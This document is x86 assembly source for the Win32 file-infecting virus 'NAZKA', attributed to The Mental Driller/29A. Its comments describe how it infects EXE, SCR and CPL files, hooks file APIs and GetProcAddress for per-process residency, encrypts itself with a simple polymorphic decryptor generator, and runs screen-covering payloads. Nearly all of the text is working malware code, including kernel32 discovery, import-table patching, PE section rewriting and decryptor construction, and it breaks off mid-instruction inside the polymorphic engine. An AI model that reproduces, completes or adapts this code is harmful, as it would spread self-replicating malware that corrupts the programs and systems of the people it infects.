.386p ;;;;;;;;;;;; Virus NAZKA ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ .model flat ;;;;;; by The Mental Driller/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ locals ;;;;;;;;;;; ------------------------- ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ .data ;;;;;;;;;;;; Infection is as follows: ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ;;;;;;;;;;;;;;;;;; - Decryptor in .code section ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ÛÜ Û ;;;;;;;;;;;;; - Virus in .reloc section ÛßÛÛ ;;;;;;;;;;;;; - Original overwritten code at the end of the last section Û Û ;;;;;;;;;;;;; After decryption: ;;; ÜÜÜ ;;;;;;;;;; - Restoring of the overwritten code with WriteProcessMemory ;;; ÛÜÛ ;;;;;;;;;; Achievements with this type of infection: ;;; Û Û ;;;;;;;;;; - .code section mantains original flags ;;;;;; ÜÜÜ ;;;;;;; - .reloc section (which no longer is named so) can be a ;;;;;; Üß ;;;;;;; "strange" section of an executable, with EXEC_WRI_READ ;;;;;; ÛÜÜ ;;;;;;; flags ;;;;;;;;; Ü Ü ;;;; - Original host code is saved and encrypted at the end of ;;;;;;;;; ÛÜß ;;;; the host. ;;;;;;;;; Û Û ;;;; ;;;;;;;;;;;; ÜÜÜ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;; ÛÜÛ ;by;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;; Û Û ;The Mental Driller/29A;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; All the virus is intended to be full compatible with future versions of ;;;; ;; win32 (I mean, I don't use strange things like the VxDCALL0 or ring-0 int ;; ;; callgates, due to the fact that they are exploits, after all, and they can ; ;; be fixed in future versions of the kernel). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; This virus isn't very good, but I had to made something to probe that I ;;;; ;; can actually code under Win32 systems, and this virus is a look-a-like of ;; ;; a most advanced version that I'm thinking on, making complex-as-the-fuck ;;; ;; decryptors (that's the reason why I save 1000h bytes of code of .text in ;;; ;; the infections, just to test the technique). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; The virus has two parts: the first sets a per-process residency catching ;;; ;; some common functions to open files, and GetProcAddress to return our ;;;;;; ;; handled address just in case the application uses the function. The second ; ;; part is a runtime infection, which infects all EXEs, SCRs and CPLs on ;;;;;; ;; current, system and windows directory (as always). ;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; PAYLOADS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; This virus has 3 different payloads based on the GDI library: ;;;;;;;;;;;;;; ;; 1) Draws NAZKA in the desktop with colorful polygons and displays a message; ;;;; box which can't be closed :) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; 2) Writes "N A Z K A" with the TextOutA function in random positions all ;;; ;;;; over the screen, covering all the desktop. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; 3) The same as 2, but this time with random-color pixels, with the function; ;;;; SetPixel. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; This payloads are spawned in a different thread, so they act while the ;;;;; ;;; application runs. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; POLYMORPHISM ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; The virus is slightly polymorphic, it means, the decryptors are easy to ;;;; ;;; emulate and all that, but I didn't want to leave the virus "nude", and a ;; ;;; single fixed decryptor didn't like me at all. Well, this type of polymor- ; ;;; phism don't like me very much either, but I'm still (!!) working on the ;;; ;;; Tuareg, which will be finished in two or three years :P. ;;;;;;;;;;;;;;;;;; ;; The engine will create three polymorphic decryptors in the beginning of ;;;; ;;; the .text section, and will decrypt the .reloc section (where the virus ;;; ;;; is). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; I have to apologize because I didn't comment very much of the code. ;;;;;;;; ;; Instead of it, I intend to put names to the functions and labels to be ;;;;; ;; quite explicit (it's my habit lastly), so I hope there isn't many problems ; ;; It's quickly coded also, so many buffer variables are between code instead ; ;; of using the more elegant technique of allocate some local memory for ;;;;;; ;; variables and all that. Maybe in future versions... ;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Message on first generation Titulo db 'Virus NAZKA 1st Generation by The Mental Driller/29A',0 Mensaje db 'You have been infected with the first generation',0dh,0ah db 'of the virus NAZKA by The Mental Driller/29A',0 .code extrn ExitProcess:PROC extrn MessageBoxA:PROC Virus_Size equ offset End_Virus - offset Inic_Virus Encrypted_Virus_Size equ Virus_Size Nazka proc Inic_Virus label dword push eax ; Size to store the return address pusha call GetDeltaOffset GetDeltaOffset: pop ebp sub ebp, offset GetDeltaOffset mov [ebp+DeltaOffset], ebp mov [ebp+DeltaOffset2], ebp ;; Put the return address mov eax, [ebp+InicIP] mov [esp+20h], eax mov byte ptr [ebp+CounterOfFunctions], 0 mov eax, [esp+24h] and eax, 0FFFFF000h mov dword ptr [ebp+Addr_Kernel32], eax mov dword ptr [ebp+AuxCounter], 100h lea eax, [ebp+offset @@Loop_001] mov dword ptr [ebp+SEHReturn], eax push offset MySEH ; Setup SEH for preventing push dword ptr fs:[0] ; reading exceptions mov fs:[0], esp @@Loop_001: sub dword ptr [ebp+Addr_Kernel32], 1000h mov eax, [ebp+Addr_Kernel32] cmp word ptr [eax], 'ZM' jz @@MaybeKernelFound dec dword ptr [ebp+AuxCounter] jnz @@Loop_001 push ds pop ax cmp ax, 0137h jb @@JumpToHost2 ; No hard-coded address for WinNT mov eax, 0BFF70000h ; Hard-coded under Win9x jmp @@KernelFound2 @@MaybeKernelFound: mov ebx, [eax+3Ch] add ebx, eax cmp word ptr [ebx], 'EP' jnz @@Loop_001 @@KernelFound2: pop dword ptr fs:[0] ; Restore SEH pop ecx ; Eliminate our handler from stack mov ebx, [ebx+78h] add ebx, eax mov ecx, [ebx+18h] mov esi, [ebx+20h] add esi, eax @@Loop_003: mov edi, [esi] add edi, eax cmp dword ptr [edi], 'PteG' jnz @@Next_001 cmp dword ptr [edi+4], 'Acor' jnz @@Next_001 cmp dword ptr [edi+8], 'erdd' jnz @@Next_001 cmp word ptr [edi+0Ch], 'ss' jnz @@Next_001 cmp byte ptr [edi+0Eh], 0 jz @@GetProcAddressFound @@Next_001: add esi, 4 loop @@Loop_003 jmp @@JumpToHost @@GetProcAddressFound: sub ecx, [ebx+18h] neg ecx shl ecx, 1 add ecx, [ebx+24h] add ecx, eax movzx ecx, word ptr [ecx] shl ecx, 2 add ecx, [ebx+1Ch] add ecx, eax mov ecx, [ecx] add ecx, eax mov dword ptr [ebp+RVA_GetProcAddress], ecx lea esi, [ebp+CrunchedASCIIs] mov edx, [ebp+Addr_Kernel32] mov [ebp+ModuleToUse], edx lea edx, [ebp+RVAs] call GetRVAs jc @@JumpToHost ;; Let's patch the import directory ;; I also use the Jacky Qwerty's idea of patch the GetProcAddress function ;; (implemented in Win32.Cabanas) to catch the functions that many ;; applications obtain via GetProcAddress call PatchImportDirectory ;; All RVAs got! ;; Let's infect directories call RuntimeInfection ;; The payloads! Nice GDI routines spawned in a thread, so they are acting ;; while the process is active. There are three payloads: ;; 1) Draws "NAZKA" with colorful letters and rotates the color of them every ;; tenth of second. ;; 2) Writes "N A Z K A" all over the screen with green text letters and in ;; random positions, covering completely the desktop in a few time :) ;; 3) The same as 2 but with pixels instead of text. call Payload @@JumpToHost: cmp dword ptr [ebp+CounterOfFunctions], 2 jb @@SimulateExecError call dword ptr [ebp+RVA_GetCurrentProcess] push 0 push 1000h lea ebx, [ebp+End_Virus] push ebx mov ebx, [ebp+RestoreAddress] push ebx push eax call dword ptr [ebp+RVA_WriteProcessMemory] popa ret @@SimulateExecError: push 00BFF700h ; Construct NOP/MOV BYTE PTR [BFF70000],0 push 0005C690h ; to generate an exception from an "unknown jmp esp ; module" :) @@JumpToHost2: pop dword ptr fs:[0] ; Restore original SEH pop eax jmp @@JumpToHost Nazka endp InicIP dd offset FakedHost RestoreAddress dd offset FakedHost CounterOfFunctions db 0 MySEH proc mov esp, [esp+8] ; Exception? Restore and jump to the db 0BDh ; specified address DeltaOffset dd 0 jmp [ebp+SEHReturn] MySEH endp SEHReturn dd 0 AuxCounter dd 0 GetRVAs proc @@Loop_004: lea edi, [ebp+DecrunchBuffer] push edx push edi @@Loop_005: lodsb push esi ;; 0F0h --> Create ;; 0F1h --> File ;; 0F2h --> Get ;; 0F3h --> DirectoryA ;; 0F4h --> Find ;; 0F5h --> Process ;; 0F6h --> Set ;; 0F7h --> AttributesA cmp al, 0F6h ja @@PutAttributesA jz @@PutSet cmp al, 0F4h ja @@PutProcess jz @@PutFind cmp al, 0F2h ja @@PutDirectory jz @@PutGet cmp al, 0F0h ja @@PutFile jb @@PutDirect @@PutCreate: lea esi, [ebp+ASC_Create] mov ecx, 6 jmp @@Store @@PutFile: mov eax, 'eliF' stosd jmp @@Next_002 @@PutGet: lea esi, [ebp+ASC_Get] mov ecx, 3 jmp @@Store @@PutDirectory: lea esi, [ebp+ASC_DirectoryA] mov ecx, 0Ah jmp @@Store @@PutFind: mov eax, 'dniF' stosd jmp @@Next_002 @@PutProcess: lea esi, [ebp+ASC_Process] mov ecx, 7 jmp @@Store @@PutSet: lea esi, [ebp+ASC_Set] mov ecx, 3 jmp @@Store @@PutAttributesA: lea esi, [ebp+ASC_AttributesA] mov ecx, 0Bh @@Store: rep movsb jmp @@Next_002 @@PutDirect: stosb @@Next_002: pop esi or al, al jnz @@Loop_005 push dword ptr [ebp+ModuleToUse] call dword ptr [ebp+RVA_GetProcAddress] pop edx or eax, eax jz @@Error mov [edx], eax inc byte ptr [ebp+CounterOfFunctions] add edx, 4 cmp byte ptr [esi], 0 jnz @@Loop_004 clc ret @@Error: stc ret GetRVAs endp ModuleToUse dd 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; PER-PROCESS RESIDENCY: SETTING AND INFECTION ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PatchImportDirectory proc db 0B8h ; MOV EAX,xxxxxxxx ImageBase dd 400000h ; Image base, set on infection time mov ebx, [eax+3Ch] add ebx, eax cmp word ptr [ebx], 'EP' jnz @@End mov ecx, [ebx+84h] mov ebx, [ebx+80h] add ebx, eax @@SearchModule: mov esi, [ebx+0Ch] or esi, esi jz @@End add esi, eax @@ToLowerCase: mov edx, [esi] call ToLower cmp edx, 'nrek' jnz @@NextModule mov edx, [esi+4] call ToLower cmp edx, '23le' jz @@Found @@NextModule: add ebx, 14h sub ecx, 14h jnz @@SearchModule jmp @@End @@Found: mov esi, [ebx+10h] add esi, eax cld lea ebx, [ebp+FunctionsToPatch] @@Loop_001: mov edi, ebx lodsd or eax, eax jz @@End mov ecx, 0Fh repnz scasd jnz @@Loop_001 sub edi, ebx mov eax, [ebp+edi+FunctionsAddress-4] add eax, ebp mov [esi-4], eax jmp @@Loop_001 @@End: ret PatchImportDirectory endp FunctionsAddress label dword dd offset My_GetProcAddress dd offset My_CreateFileA dd offset My_CreateProcessA dd offset My_FindFirstFileA dd offset My_FindNextFileA dd offset My_GetFileAttributesA dd offset My_SetFileAttributesA dd offset My_GetFullPathNameA dd offset My_MoveFileA dd offset My_CopyFileA dd offset My_DeleteFileA dd offset My_WinExec dd offset My__lopen dd offset My_MoveFileExA dd offset My_OpenFile ;,,,,,,,,,,,,,,,,,,,,,,,,, ;; PER-PROCESS FUNCTIONS ; ;''''''''''''''''''''''''' GetDelta proc mov eax, 12345678h org $-4 DeltaOffset2 dd 0 ret GetDelta endp My_GetProcAddress proc call GetDelta push ecx add eax, offset @@ReturnHere mov ecx, eax xchg eax, [esp+4] mov [ecx+1], eax pop ecx call GetDelta mov eax, [eax+RVA_GetProcAddress] jmp eax @@ReturnHere: db 68h ReturnGetProcAddress dd 0 or eax, eax jz @@Return pusha push eax call GetDelta xchg ebp, eax pop eax lea esi, [ebp+RVAs] lea edi, [ebp+RVAs+0Eh*4] mov ebx, esi xchg ecx, eax @@Loop_GPA: lodsd cmp eax, ecx jnz @@Next_GPA sub esi, ebx add esi, ebp mov eax, [esi+FunctionsAddress+4] mov [esp+1Ch], eax ; Substitute EAX to function ; by our function address jmp @@Return2 @@Next_GPA: cmp esi, edi jnz @@Loop_GPA @@Return2: popa @@Return: ret ; Ufffh... I hope this work My_GetProcAddress endp ; (later) It worked! :) My_CreateFileA proc call GetDelta mov eax, [eax+RVA_CreateFileA] jmp InfectByPerProcess My_CreateFileA endp InfectByPerProcess proc push eax pusha call GetDelta xchg ebp, eax mov ebx, [esp+28h] lea eax, [ebp+FindFileField] push eax push ebx call dword ptr [ebp+RVA_FindFirstFileA] inc eax jz @@Return dec eax push eax call InfectFile call dword ptr [ebp+RVA_FindClose] @@Return: popa ret ; Jump to kernel function InfectByPerProcess endp My_CreateProcessA proc call GetDelta mov eax, [eax+RVA_CreateProcessA] jmp InfectByPerProcess My_CreateProcessA endp FindFirstIdent db 0 My_FindNextFileA proc call GetDelta mov byte ptr [eax+FindFirstIdent], 0 jmp Common_FindFile My_FindNextFileA endp My_FindFirstFileA proc call GetDelta mov byte ptr [eax+FindFirstIdent], 1 Common_FindFile: add eax, offset @@ReturnHere push ecx mov ecx, eax xchg eax, [esp+4] mov [ecx+1], eax mov eax, [esp+0Ch] ; We put the buffer address... mov [ecx+0Dh], eax ; ...here pop ecx call GetDelta cmp byte ptr [eax+FindFirstIdent], 1 jz @@PutFindFirst @@PutFindNext: mov eax, [eax+RVA_FindNextFileA] jmp eax @@PutFindFirst: mov eax, [eax+RVA_FindFirstFileA] jmp eax @@ReturnHere: db 68h ; PUSH Value dd 0 ; +1 pusha ; +5 inc eax ; +6 jnz @@ItsOK ; +7 dec eax ; +9 jmp @@Return ; +A @@ItsOK: db 0BEh ; MOV ESI,Value ; +C @@ESIValue: dd 0 ; +D call GetDelta xchg ebp, eax lea edi, [ebp+FindFileField] mov ecx, FindFileFieldSize cld rep movsb dec byte ptr [ebp+InfectFileNow] jnz @@Return mov byte ptr [ebp+InfectFileNow], 3 call InfectFile @@Return: popa ret My_FindFirstFileA endp InfectFileNow db 3 My_GetFileAttributesA proc call GetDelta mov eax, [eax+RVA_GetFileAttributesA] jmp InfectByPerProcess My_GetFileAttributesA endp My_SetFileAttributesA proc call GetDelta mov eax, [eax+RVA_SetFileAttributesA] jmp InfectByPerProcess My_SetFileAttributesA endp My_GetFullPathNameA proc call GetDelta mov eax, [eax+RVA_GetFullPathNameA] jmp InfectByPerProcess My_GetFullPathNameA endp My_MoveFileA proc call GetDelta mov eax, [eax+RVA_MoveFileA] jmp InfectByPerProcess My_MoveFileA endp My_CopyFileA proc call GetDelta mov eax, [eax+RVA_CopyFileA] jmp InfectByPerProcess My_CopyFileA endp My_DeleteFileA proc call GetDelta mov eax, [eax+RVA_DeleteFileA] jmp InfectByPerProcess My_DeleteFileA endp My_WinExec proc call GetDelta mov eax, [eax+RVA_WinExec] jmp InfectByPerProcess My_WinExec endp My__lopen proc call GetDelta mov eax, [eax+RVA__lopen] jmp InfectByPerProcess My__lopen endp My_MoveFileExA proc call GetDelta mov eax, [eax+RVA_MoveFileExA] jmp InfectByPerProcess My_MoveFileExA endp My_OpenFile proc call GetDelta mov eax, [eax+RVA_OpenFile] jmp InfectByPerProcess My_OpenFile endp ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; RUN-TIME INFECTION ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RuntimeInfection proc call InfectCurrentDir push 80h lea eax, [ebp+Directory2] push eax call dword ptr [ebp+RVA_GetCurrentDirectoryA] call InfectWindowsDir call InfectSystemDir lea eax, [ebp+Directory2] push eax call dword ptr [ebp+RVA_SetCurrentDirectoryA] ret RuntimeInfection endp Directory1 db 80h dup (0) Directory2 db 80h dup (0) InfectSystemDir proc mov ebx, [ebp+RVA_GetSystemDirectoryA] Common_InfectDir: push 80h lea eax, [ebp+Directory1] push eax call ebx or eax, eax jz @@Return call SetDirectory1 call InfectCurrentDir @@Return: ret InfectSystemDir endp InfectWindowsDir proc mov ebx, [ebp+RVA_GetWindowsDirectoryA] jmp Common_InfectDir InfectWindowsDir endp SetDirectory1 proc lea eax, [ebp+Directory1] push eax call dword ptr [ebp+RVA_SetCurrentDirectoryA] ret SetDirectory1 endp InfectCurrentDir proc call DeleteDATs lea ecx, [ebp+FindFileMask1] call InfectCurrentDir2 lea ecx, [ebp+FindFileMask2] call InfectCurrentDir2 lea ecx, [ebp+FindFileMask3] call InfectCurrentDir2 ret InfectCurrentDir endp InfectCurrentDir2 proc lea ebx, [ebp+FindFileField] push ebx push ecx call dword ptr [ebp+RVA_FindFirstFileA] inc eax jz @@Fin0 dec eax mov dword ptr [ebp+FindFileHandle], eax @@InfectAgain: call InfectFile lea ebx, [ebp+FindFileField] push ebx push dword ptr [ebp+FindFileHandle] call dword ptr [ebp+RVA_FindNextFileA] or eax, eax jnz @@InfectAgain push dword ptr [ebp+FindFileHandle] call dword ptr [ebp+RVA_FindClose] @@Fin0: ret InfectCurrentDir2 endp FindFileHandle dd 0 InfectFile proc mov ebx, [ebp+CreationTime] and ebx, 3 cmp bl, 3 jz @@End ; Infection mark lea ebx, [ebp+FileName] call CheckFileName jc @@End push 80h push ebx call dword ptr [ebp+RVA_SetFileAttributesA] call OpenFile jc @@End2 call MapFile or eax, eax jz @@End3 mov dword ptr [ebp+MappingAddress], eax mov edi, eax cmp word ptr [edi], 'ZM' jnz @@End4 ; cmp word ptr [edi+12h], 'DM' ; jz @@End4 mov esi, [eax+3Ch] add esi, edi mov [ebp+PEHeaderAddress], esi cmp word ptr [esi], 'EP' jnz @@End4 ;; ESI=Header address, EDI=Mapping address (beginning of file) ;; Manner of infecting the file: ;; 1) The section .reloc is anulated ;; 2) We check if reloc is quite big to contain the virus. If not, we exit ;; 3) We copy from .text to the end of the last section the portion of code ;; that is going to be overwritten ;; 4) We copy the virus to .reloc and we change the name of the section by ;; another randomly generated ;; 5) We overwrite .text section with the decryptor (we check if .text is big ;; enough to contain this). ;; 6) When execution, .text must be restored from the saved data. All other ;; things (reloc, etc.) can remain. movzx ebx, word ptr [esi+14h] movzx ecx, word ptr [esi+06h] lea ebx, [ebx+esi+18h] mov eax, 28h push ebx push ecx dec ecx mul ecx add ebx, eax sub ebx, edi mov [ebp+LastHeader], ebx ; In EBX, the physical address ; of the header of the last section pop ecx pop eax mov dword ptr [ebp+TextHeader], 0 mov dword ptr [ebp+RelocHeader], 0 @@Loop_001: cmp dword ptr [eax], 'xet.' jnz @@LookForReloc cmp dword ptr [eax+4], 0+'t' jnz @@NextSection sub eax, edi mov [ebp+TextHeader], eax ; Physical address of .text add eax, edi jmp @@NextSection @@LookForReloc: cmp dword ptr [eax], 'ler.' jnz @@NextSection cmp dword ptr [eax+4], 0+'co' jnz @@NextSection sub eax, edi mov [ebp+RelocHeader], eax ; Physical address of .reloc add eax, edi @@NextSection: add eax, 28h loop @@Loop_001 cmp [ebp+TextHeader], ecx ; 0? jz @@End4 mov eax, [ebp+RelocHeader] or eax, eax jz @@End4 cmp eax, [ebp+LastHeader] ; Is last section the reloc? jnz @@End4 ; If it isn't, exit mov dword ptr [esi+98h], 0 mov dword ptr [esi+9Ch], 0 ; Anulate relocs mov eax, [esi+28h] mov ebx, [esi+34h] add eax, ebx mov [ebp+InicIP], eax mov [ebp+ImageBase], ebx mov eax, [ebp+TextHeader] add eax, edi cmp dword ptr [eax+08h], 1000h jb @@End4 cmp dword ptr [eax+10h], 1000h jb @@End4 mov eax, [ebp+RelocHeader] add eax, edi mov ebx, Virus_Size+1000h cmp dword ptr [eax+08h], ebx jae @@SizeIsOK_1 mov dword ptr [eax+08h], ebx @@SizeIsOK_1: cmp dword ptr [eax+10h], ebx jae @@SizeIsOK_2 @@SizeIsNotOK: sub ebx, [eax+10h] mov ecx, eax xchg ebx, eax mov ebx, [esi+38h] xor edx, edx div ebx inc eax mul ebx add [ecx+10h], eax add [ebp+FileSizeLow], eax add [esi+50h], eax call UnmapFile call MapFile or eax, eax jz @@End3 mov dword ptr [ebp+MappingAddress], eax mov edi, eax mov esi, [edi+3Ch] add esi, edi @@SizeIsOK_2: ;; This must be sustituted by an entrypoint to the very ;; beginning of the .text section. This time (to test) we ;; set the entrypoint at the beginning of the .reloc section ;; (last section) mov eax, [ebp+TextHeader] add eax, edi mov ebx, [eax+0Ch] mov [esi+28h], ebx add ebx, [esi+34h] mov [ebp+RestoreAddress], ebx mov ecx, [eax+14h] add ecx, edi mov eax, [ebp+RelocHeader] add eax, edi or dword ptr [eax+24h], 0A0000020h ; mov eax, [eax+0Ch] ; mov [esi+28h], eax call ConstructNameForReloc push edi xchg edi, eax mov edi, [ebp+RelocHeader] add edi, eax mov edi, [edi+14h] add edi, eax push esi lea esi, [ebp+Nazka] mov ecx, Virus_Size / 4 push eax call CreateEncryptions call EncryptWhileStoring pop eax mov esi, [ebp+TextHeader] add esi, eax mov esi, [esi+14h] add esi, eax mov ecx, 400h call EncryptWhileStoring pop esi pop edi ; mov word ptr [edi+12h], 'DM' mov eax, [ebp+TextHeader] add eax, edi mov ebx, [eax+0Ch] add ebx, [esi+34h] mov ecx, [eax+14h] add ecx, edi mov eax, [ebp+RelocHeader] add eax, edi mov eax, [eax+0Ch] add eax, [esi+34h] sub eax, ebx ; sub eax, 5 ; EAX=Displacement from the beginning till the virus ; ECX=Place where the decryptors must be put ; Size of encrypted part is Virus_Size+1000h call PutDecryptors ; mov byte ptr [ecx], 0E9h ; mov dword ptr [ecx+1], eax or dword ptr [ebp+CreationTime], 3 @@End4: call UnmapFile @@End3: call RestoreDateTime push dword ptr [ebp+FileHandle] call dword ptr [ebp+RVA_CloseHandle] @@End2: push dword ptr [ebp+FileAttributes] lea ebx, [ebp+FileName] push ebx call dword ptr [ebp+RVA_SetFileAttributesA] @@End: ret InfectFile endp TextHeader dd 0 RelocHeader dd 0 LastHeader dd 0 StartOfLastSection dd 0 PEHeaderAddress dd 0 EncryptWhileStoring proc @@EncryptLoop: mov edx, 2 lodsd @@Loop_001: cmp byte ptr [ebp+edx+EncryptType], 1 jb @@ADD jz @@SUB @@XOR: xor eax, dword ptr [4*edx+ebp+DecryptKey] jmp @@Next @@ADD: add eax, dword ptr [4*edx+ebp+DecryptKey] jmp @@Next @@SUB: sub eax, dword ptr [4*edx+ebp+DecryptKey] @@Next: dec edx jns @@Loop_001 stosd loop @@EncryptLoop ret EncryptWhileStoring endp CreateEncryptions proc pusha @@Again: call Random jz @@Again mov [ebp+DecryptKey], eax @@Again2: call Random jz @@Again2 cmp [ebp+DecryptKey], eax jz @@Again2 mov [ebp+DecryptKey+4], eax @@Again3: call Random jz @@Again3 cmp [ebp+DecryptKey], eax jz @@Again3 cmp [ebp+DecryptKey+4], eax jz @@Again3 mov [ebp+DecryptKey+8], eax mov ecx, 3 @@OtraVez: call Random and al, 3 jz @@OtraVez dec al mov byte ptr [ebp+ecx+EncryptType-1], al loop @@OtraVez popa ret CreateEncryptions endp EncryptType db 0, 0, 0 ; 0=ADD, 1=SUB, 2=XOR DecryptKey dd 0, 0, 0 ; Help with stack positions S_EAX equ 1Ch S_ECX equ 18h S_EDX equ 14h S_EBX equ 10h S_ESP equ 0Ch S_EBP equ 08h S_ESI equ 04h S_EDI equ 00h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Dumb polymorphic engine :) ;; ;; Just made only to avoid having the same decryptors every time. ;; ;; It has been made in two hours or so, so it isn't very complex. ;; ;; That's very easy to emulate, but I wasn't in the mood to make ;; ;; a bigger one in a weekend (well, just wait for the finishing ;; ;; of the eternally durable coding of the Tuareg engine :P ) ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; EAX=Displacement from the beginning till the virus ; ECX=Place where the decryptors must be put ; Size of encrypted part is Virus_Size+1000h PutDecryptors proc pusha mov [ebp+Distance], eax mov [ebp+DecryptorsBeginAddress], ecx mov edi, ecx mov byte ptr [ebp+NumberOfDecryptor], 0 ; Initializing of the random generator lea eax, [ebp+offset SystemTimeReceiver] push eax call dword ptr [ebp+RVA_GetSystemTime] mov eax, [ebp+DwordAleatorio1] xor eax, [ebp+DwordAleatorio2] mov [ebp+DwordAleatorio3], eax ; We make it slow poly @@MakeNextDecryptor: ; Register selection @@Select1: call Random and al, 7 cmp al, 4 jz @@Select1 mov [ebp+KeyRegister], al mov dl, al @@Select2: call Random and al, 7 cmp al, 4 jz @@Select2 cmp al, dl jz @@Select2 mov [ebp+CounterRegister], al mov dh, al @@Select3: call Random and al, 7 cmp al, 4 jz @@Select3 cmp al, dh jz @@Select3 cmp al, dl jz @@Select3 mov [ebp+IndexRegister], al lea ebx, [ebp+offset PutCounterValue] lea ecx, [ebp+offset PutIndexValue] lea edx, [ebp+offset PutKeyValue] call RandomCalling mov [ebp+InicLoop], edi movzx ecx, byte ptr [ebp+NumberOfDecryptor] mov al, byte ptr [ebp+4*ecx+EncryptType] cmp al, 1 jb @@ADD jz @@SUB @@XOR: mov al, 31h jmp @@J_001 @@ADD: mov al, 29h ; Just the inverse of ADD jmp @@J_001 @@SUB: mov al, 01h @@J_001: stosb mov al, [ebp+IndexRegister] cmp al, 5 jnz @@J_002 or al, 40h @@J_002: mov dl, [ebp+KeyRegister] shl dl, 3 or al, dl stosb cmp al, 40h jb @@J_003 xor al, al stosb @@J_003: lea ebx, [ebp+offset IncreaseIndex] lea ecx, [ebp+offset DecreaseCounter] lea edx, [ebp+offset @@Return] call RandomCalling ;; Select counter zero checking @@Again1: call RandomFlags jz @@OtherSet js @@Again1 @@TEST: mov al, 85h jmp @@PutOpcode @@OtherSet: js @@OR @@AND: mov al, 23h jmp @@PutOpcode @@OR: mov al, 0Bh @@PutOpcode: stosb mov al, 0C0h mov dl, [ebp+CounterRegister] or al, dl shl dl, 3 or al, dl stosb ;; Select jump to the begin of the loop call RandomFlags jz @@PutJNZ @@PutJNS: mov al, 79h jmp @@PutJump @@PutJNZ: mov al, 75h @@PutJump: stosb inc edi mov eax, [ebp+InicLoop] sub eax, edi mov [edi-1], al inc byte ptr [ebp+NumberOfDecryptor] cmp byte ptr [ebp+NumberOfDecryptor], 3 jnz @@MakeNextDecryptor lea ecx, [edi+5] sub ecx, [ebp+DecryptorsBeginAddress] mov eax, [ebp+Distance] sub eax, ecx push eax mov al, 0E9h stosb pop eax stosd popa @@Return: ret PutDecryptors endp NumberOfDecryptor db 0 DecryptorsBeginAddress dd 0 Distance dd 0 InicLoop dd 0 IndexRegister db 0 CounterRegister db 0 KeyRegister db 0 IncreaseIndex proc pusha mov dl, [ebp+IndexRegister] mov byte ptr [ebp+SubtractFlag], 0 mov cl, 4 CommonEntryForModification: @@IncreaseAgain: call RandomFlags jz @@Next js @@PutINC @@PutSUB: mov byte ptr [ebp+PutADDFlag], 0 @@CommonPutADDSUB: or dl, dl jnz 